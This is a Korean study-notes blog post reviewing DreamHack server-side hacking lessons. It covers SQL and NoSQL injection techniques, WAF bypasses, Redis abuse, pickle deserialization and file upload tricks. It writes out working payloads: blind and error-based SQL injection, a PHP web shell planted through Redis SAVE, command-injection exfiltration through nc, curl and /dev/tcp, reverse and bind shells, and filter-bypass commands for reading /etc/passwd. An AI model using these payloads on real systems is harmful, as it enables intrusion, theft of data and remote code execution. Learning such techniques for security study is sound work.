DreamHack : Server side Review

Alpha, Orderly·2023년 7월 10일
0

DreamHack

목록 보기
2/3

SQL

DML, Data Manipluation Language

  • 데이터를 조회, 추가, 삭제, 수정하는 구문

SELECT

  • SELECT : 조회하기 위한 표현식, 컬럼의 정의
  • FROM : 조회할 테이블의 이름
  • WHERE : 조회 조건
  • ORDER BY : 원하는 컬럼 기준으로 정렬
  • LIMIT : 결과의 행의 갯수와 오프셋 설정
SELECT
	uid
 FROM
   board
WHERE
  boardcontent link '%abc%'
ORDER BY uid DESC
LIMIT 5
  • board에서 uid를 abc 포함시 uid 내림차순으로 5개 조회.

INSERT

  • INSERT : 데이터를 추가할 테이블, 데이터 정의
  • INTO : 추가할 테이블과 컬럼 정의
  • VALUES : 명시한 컬럼의 데이터를 추가
INSERT  
INTO board (title, boardcontent) -- board의 title과 content
VALUES ('title 1', (select upw from users where uid='admin')); -- 서브쿼리를 이용해 boardcontent

UPDATE

  • UPDATE : 수정할 테이블을 정의
  • SET : 수정할 칼럼과 데이터 정의
  • WHERE : 수정할 행의 조건
UPDATE board
  SET boardcontent = "updated"
  WHERE title = "example"
  • 제목이 example인 것의 boardcontent를 수정

DELETE

  • DELETE : 삭제할 테이블을 정의하게 됨
  • FROM : 삭제할 테이블 정의
  • WHERE : 삭제할 조건
DELETE FROM board
  WHERE title = "example"
  • 제목이 example인 글을 삭제

UNION

  • 다수의 SELECT문을 결합할수 있다.
  • 다른 테이블에 접근하거나 쿼리 결과를 생성해 조작할수 있다.
  • 사용조건
    • 이전 SELECT문과 UNION SELECT문의 컬럼의 갯수가 같아야 한다.
    • 또한 각각의 칼럼의 타입도 같아야 한다.
SELECT * FROM UserTable UNION SELCT * FROM AdminTable
- 두 테이블이 합쳐진다.

SUBQUERY

  • 한 쿼리 내에서 다른 쿼리를 사용하는것
SELECT (SELECT 1);
1이 출력된다.

substr 함수

  • 첫번째로 전달된 문자열을 두번째 인자로 전달된 위치에서 시작해 세번째로 전달된 인자의 문자 수만큼 반환
substr(password, 1, 1) // password에서 1번째부터 1개의 글자를 리턴

if 함수

  • if(조건, 참일때 값, 거짓일때 값)
if(password = "A", "true", "false")

/?username=' union select if(substr(password,1,1)='B', 'admin', 'not admin') from users where username='admin' -- -
// 위를 활용한 공격의 예시, 첫번째 글자가 무엇인지를 확인하고자 한다.

Blind SQL Injection

  • 임의의 데이터를 효율적으로 알아내기 위한 방법
  • ascii(substr(pw, 1, 1)) : pw의 첫번째 문자를 ascii 코드로 변환
ascii(substr(pw, 1, 1)) > 79 : 79보다 코드가 큰지 확인

비트연산자

  • bin 함수 : bin(ord('A')) : 1000001
    • 문자를 숫자로 변환하고 비트로 변환한 예시
    • 숫자를 비트의 문자열로 변환한다.

Error based Injection

  • 임의로 에러를 발생시켜 DB 혹은 운영체제의 정보를 얻어온다.

extractvalue 함수

extractvalue(1, concat(0x3a, version());
>> XPATH의 version() 함수가 실행되어 결과가 출력되었다.
>> 0x3a 는 : 이다.
  • 함수의 첫번째 인자로 전달된 XML 데이터에서 두번째 인자인 XPATH를 통해 데이터를 추출
select extractvalue('<a>test</a>', '/a');
>> a test가 조회됨
  • DB의 자료를 조회하는 예시
SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));

Error based bline SQL Injection

참 거짓 여부를 확인하기

select if(확인하고 싶은 조건, 9e307*2, 0);
조건이 참이면 에러, 거짓이면 0이 된다.
임의로 에러를 일으켜서 확인을 하는것.
조건에 substr을 넣으면 값을 조회할수 있을것이다.

short circuit evaluation

select 0 AND sleep(1);
// 아무것도 일어나지 않음
select 1 AND sleep(1);
// 1초 후 결과가 나옴 ( 앞이 1이라 뒤의 sleep이 실행됨 )
select 0 or 9e307*2;
// 앞이 0이라 뒤가 실행됨
select 1 or 9e307*2;
// 앞이 1이라 뒤가 실행되지 않음

Time based SQL Injection

  • 시간 지연을 이용해 참과 거짓을 판별
  • DBMS에서 제공하는 sleep(기다리는 시간, 초로 작성) 혹은 시간이 많이 드는 서브쿼리를 호출
select if(1=1, sleep(1), 0)

SQL Injection 모의 해킹 과정

1. 중요 정보 수집

  • System Table : 설정, 계정정보, 테이블, 컬럼정보, 실행중인 쿼리 등을 포함한다.
  • MYSQL
    • information_schema.PROCESSLIST 를 조회해 실시간 실행 쿼리 확인 가능
    • information_schema.user_privileges 를 조회해 서버의 계정정보를 확인 가능
      • mysql.user에도 있다.

2. DBMS 정보 수집

  • version() 함수를 출력하게 한다.
    • select @@version
  • 임의로 에러메시지를 내게 해 그의 포맷을 확인한다.
    • EX. select 1 union select 1, 2 : 둘의 컬럼 갯수가 달라 에러가 난다.
  • 시간지연 함수를 사용할수도 있다
    • select substr(@@version, 1, 1) = '1' and sleep(1);

3. DBMS Misconfiguration

  • 계정 및 권한이 적절하게 분리되지 않거나, 불필요한 기능이 활성화 혹은 보안설정의 미흡을 확인하는것

DBMS 문자열 비교

  • MYSQL, MSSQL은 대소문자를 구분하지 않는다.
  • 공백문자로 끝나는것은 따로 다르게 보지 않는다, 비교 직전에 공백을 더 추가해 같게 만들어 비교한다.
    • 'a' = 'a '

4. WAF 우회

대소문자 검사

  • SeLeCt 1, 2, 3 과 같이 대소문자를 섞어 사용한다.

탐지과정 미흡

  • 공격 문자열을 치환하도록 설계되어 있을경우
  • SELECT 대신 seSELECTlect 와 같이 보내면 select가 공백으로 치환되어도 select 가 남는다.

문자열 검사 미흡

  • admin 과 같은 문자열을 감지할 경우
  • reverse("nimda") 로 거꾸로 뒤집기 / concat("ad", "min") 으로 합치기
0x6162 /0b110000101100010 : ab 와 같이 진법을 이용해 우회가능
char(0x61) 과 같은 함수로 우회 가능

연산자 검사 미흡

  • and, or 등을 막을시 비슷한 의미의 &&와 ||을 사용할수 있다.

공백탐지

  • `을 이용해 공백을 없앤다.
select`username`,`password`from`users`where`username`=`admin`
  • /**/ 을 공백 대신 사용할수 있다 ( 빈 주석 )
공백 대신 개행을 함으로 우회 가능
%09 - 탭 문자를 통해 우회 가능

MYSQL

  • /* 이 부분은 실행을 안함 */
  • /*! 이 부분은 실행이 됨 */
select 1 /*!union*/ select 2;
==
select 1 union select 2;

SQLITE

  • select 1 union values(2)
    • select 없이 값 반환

연산자

  • like 문자열 포함 여부
    • % : 여러 문자열
    • _ : 개별 문자열
    • "AAA" like "A%" > true

NOSQL Injection

CouchDB

  • JSON 형태로 값을 저장, REST API를 통해 CRUD를 한다.

MongoDB

  • JSON 형식으로 쿼리문을 작성
    • EX. db.user.find({id : "11"})
  • $regex를 이용해 정규식을 사용, blindinjection 이 가능하다.
    • '^a' = 첫글자가 a인지 확인
  • $where을 이용해 js 문법으로 확인 가능
    • find({$where: "this.upw.substring(0, 1)=='a'"})
    • &&을 이용해 sleep()으로 time based / error based 둘다 가능하다.

Redis

  • ?uid[]='a'&uid[]='b' 와 같이 전송할 경우, 앞이 key, 뒤가 value로서 삽입될수 있다.
    • 배열의 첫번째 원소, 두번째 원소로 보내는 방식이다.

Redis SSRF

  • 유효하지 않은 명령이 입력되어도 끊기지 않고 다음 명령어 실행
  • HTTP body에 명령어를 넣어 실행할수 있다.
    • 헤더는 유효하지 않은 명령어 취급, body를 실행
  • 이를 방지하기 위해 http 프로토콜 입력이 들어오면 끊어버리나, 다른 프로토콜로 공격하면 그만임.

직렬/역직렬 화

  • 직렬화 : 객체 또는 데이터를 특정 포맷의 형태로 변환하는것
  • 역직렬화 : 직렬화된 데이터를 본래 객체/데이터로 되돌리는것
PICKLE : 객체를 직렬화, 파일에 저장 혹은 파일을 객체로 역직렬화
  • __reduce__ 메소드의 경우 객체를 역직렬 할때 객체를 재구성하는 튜블을 반환, 호출 가능한 객체를 반환할수 있다.
  • 호출 가능한 객체로 os.system 을 반환시 시스템 명령어가 실행될수 있다.
class Test:
  def __reduce__(self):
    return os.system, ("id", )
# 위는 역직렬화시 코드가 실행됨.

SAVE 명령어

  • Redis는 인 메모리 DB라 데이터 손실 방지를 위해 메모리 값을 파일 시스템에 일정 시간마다 저장
  • 명령어 이용해 저장하는 파일의 주기 지정 혹은 즉시 저장 가능
SAVE 명령어를 통해 웹셸을 저장하는 예시
CONFIG set dir /tmp
CONFIG set dbfilename redis.php
// 경로와 파일이름 지정
SET test '<?php system($_GET['cmd']); ?>
SAVE
// 저장

slaveof / replicaof

  • 뒤에 host port 를 붙혀 결과를 보내줄수 있다.
replicaof 127.0.0.1 8888

module load 명령어

  • module load /var/lib/redis/moduls.so 와 같이 로드
  • module list 를 통해 확인

Linux Command injection

  • 서버 내에서 명령어를 실행할수 있음

실행결과를 알수 없을때 ( 방화벽 없음 )

  1. Network outbound
  • 명령줄에 네트워크 도구를 실행해 결과를 전송한다.
ls | nc 127.0.0.1 8080
ls | telnet 127.0.0.1 8080
curl "http://127.0.0.1:8080/?$(ls)"
curl "http://127.0.0.1:8080/" -d "$(ls)"
ls > /dev/tcp/127.0.0.1/8080
  1. Reverse & Bind shell
  • 임의로 실행할 명령어를 네트워크를 통해 입력하고 실행결과를 출력
Reverse shell
공격 대상 서버
& /dev/tcp/127.0.0.1/8080 0>&1
& /dev/udp/127.0.0.1/8080 0>&1
공격자 서버
nc -l -p 8080 -k -v
Bind shell
nc -nlvp 8080 -e /bin/sh
  1. 파일 생성
  • 확인할수 있는 경로에 명렁어의 실행 결과를 생성
웹쉘 등록
printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php
static 폴더에 실행결과 저장
mkdir static; id > static/result.txt

실행결과를 알수 없을때 ( 방화벽 있음 )

sleep 사용

  • base64 인코딩 값을 한글자씩 확인.
bash -c "a=\$(id | base64 -w 0); if [ \${a:0:1} == 'd' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
bash -c "a=\$(id | base64 -w 0); if [ \${a:1:1} == 'W' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'a' ]; then sleep 2; fi;" # --> sleep for 0 seconds; false
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'l' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true

에러 활용

  • cat /dev/urandom 명령 실행시 에러가 나는것을 활용
bash -c "a=\$(id | base64 -w 0); if [ \${a:0:1} == 'd' ]; then cat /dev/urandom; fi;" # --> 500 true
bash -c "a=\$(id | base64 -w 0); if [ \${a:1:1} == 'W' ]; then cat /dev/urandom; fi;" # --> 500 true
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'a' ]; then cat /dev/urandom; fi;" # --> 200 false
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'l' ]; then cat /dev/urandom; fi;" # --> 500 true

입력 가능 길이가 제한되어 있을때

printf bas>/tmp/1
printf h>>/tmp/1
printf \<>>/tmp/1
printf /d>>/tmp/1
printf ev>>/tmp/1
printf /t>>/tmp/1
printf cp>>/tmp/1
printf />>/tmp/1
printf 1 >>/tmp/1
printf 2 >>/tmp/1
printf 7.>>/tmp/1
printf 0.>>/tmp/1
printf 0.>>/tmp/1
printf 1/>>/tmp/1
printf 1 >>/tmp/1
printf 2 >>/tmp/1
printf 3 >>/tmp/1
printf 4 >>/tmp/1
bash</tmp/1&
// 명령어를 담은 파일을 만들어 실행
  • IP주소를 정수로 만들어 curl 을 실행할수도 있음

입력값이 제한되어 있는 경우

X=$'\x20';cat${X}/etc/passwd
// 공백문자 우회, X=$'\040'도 가능.
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
c''a""t /etc/passwd
\c\a\t /etc/passwd
c${invalid_variable}a${XX}t /etc/passwd
// cat 문자열 우회
echo -e "\x69\x64" | sh
echo $'\151\144'| sh
X=$'\x69\x64'; sh -c $X
// id 문자열 우회
cat `xxd -r -p <<< 2f6574632f706173737764`
// etc/passwd 우회

윈도우 취약점

  • 윈도우는 파일 접근만으로는 시스템 제어가 어렵고, 기능에 알맞은 API를 사용해야 한다.

파일 업로드 공격

  • 일반 권한으로 임의 코드를 실행한다.

Apache Web server

  • 일반적으로 C:\ApacheXY\htdocs 혹은 C:\www 디렉토리에 설정 파일 관리
  • 설정파일 내에서 AccessFileName 사용시 설정파일을 분산해 관리 가능
  • 아파치 설정의 기본값은 .htaccess
  • 위 파일은 웹서버 권한만 있으면 덮어쓸수 있음


파일명

  • 파일명 뒷부분에 . 또는 공백이 있을시 자동으로 제거됨

경로변환

  • /문자를 \로 변환해 사용
  • 이를 이용해 경로 검사 우회 가능

리눅스 취약점

  • 리눅스는 프로세스 등 다양한 객체들을 파일을 통해 제어





파일 업로드 공격

  • 웹서비스는 일반 계정 권한으로 실행됨
  • 일반 권한으로 덮어쓸수 있는것을 덮어씀
  • 아파치의 경우 /etc/apache2 혹은 /etc/httpd 에서 설정 관리
  • .htaccess 파일을 덮어써 다양한 행위 가능






파일 다운로드 공격

  • 개인정보를 포함한 민감한 정보를 수집하는데 이용될수 있다.
    EX. DB/운영체제 개인정보, 방화벽 규칙, 소스코드



파일 취약점

우회하기

널문자

  • C언어에서 널문자는 문자열의 끝 혹은 값을 초기화 하기 위해 사용
  • 웹 응용프로그램에서 널문자를 허용하고, 파일명 끝의 널문자로 확장자 판단시 확장자 검사를 우회하고 악의적인 행위가 가능
실제 입력 : baz/quix.cfg%00.jpg
인식된 파일명 : baz/quix.cfg 
// 널문자 뒷부분은 날라감.
  • 아파치 등의 웹서버는 이를 방지하기 위해 널문자 포함 요청이 들어오면 400을 리턴함.

Path traversal

  • 업로드 혹은 다운로드 경로를 조작하는 공격 방식
  • . : 현재 디렉토리, .. : 상위 디렉토리

확장자 정규식 처리

\..*, \.[^.]*
- . 뒤에 있는 모든 부분 문자열을 찾음
- .png.jpg 와 같은 경우 분리하지 못할수 있음

(\.[^.]*)$
- 가장 마지막에 위치한 .을 기준으로 문자열을 찾음
- .jpg.png 같은 경우는 .png 를 찾고
- .htaccess 와 같은 파일 처리시 이를 확장자로 인식

[^.](\.[^.]*)$
- 시작부분의 .을 무시하고 찾음
- 모든 에러가 없음
- $는 줄의 끝을 의미, “dream.jpg\nwebshell.php”로 우회됨.

확장자 치환

  • .php 를 없애는 예시인데
  • .ph.php.h 의 경우 .php가 없어져 정상적 .php가 된다.

NTFS 데이터 스트림

  • NTFS 의 경우 Alterate Data Stream을 통해 맥 파일 시스템과의 호환을 제공한다.
  • 이 뿐만 아니라 파일의 아이콘 등의 부가적 데이터를 다른 스트림에 추가하기 위해 탄생, 한 파일에 여러가지 데이터를 데이터 스트림에 감출수 있어 악성코드로 많이 사용되었다.


와일드카드

파일 삭제 공격

  • 임의 파일을 삭제할수 있을때, 운영체제 또는 응용프로그램의 중요 정보를 포괄하는 파일을 삭제시 서비스 마비 가능
  • config.php / dbconfig.php 와 같은데서 기본설정을 저장하는 서비스의 경우 파일을 못 찾으면 해당 파일 생성을 위한 설치페이지로 가는데, 이것을 공격서버와 연결해 원격 코드의 실행이 가능하다.
profile
만능 컴덕후 겸 번지 팬

0개의 댓글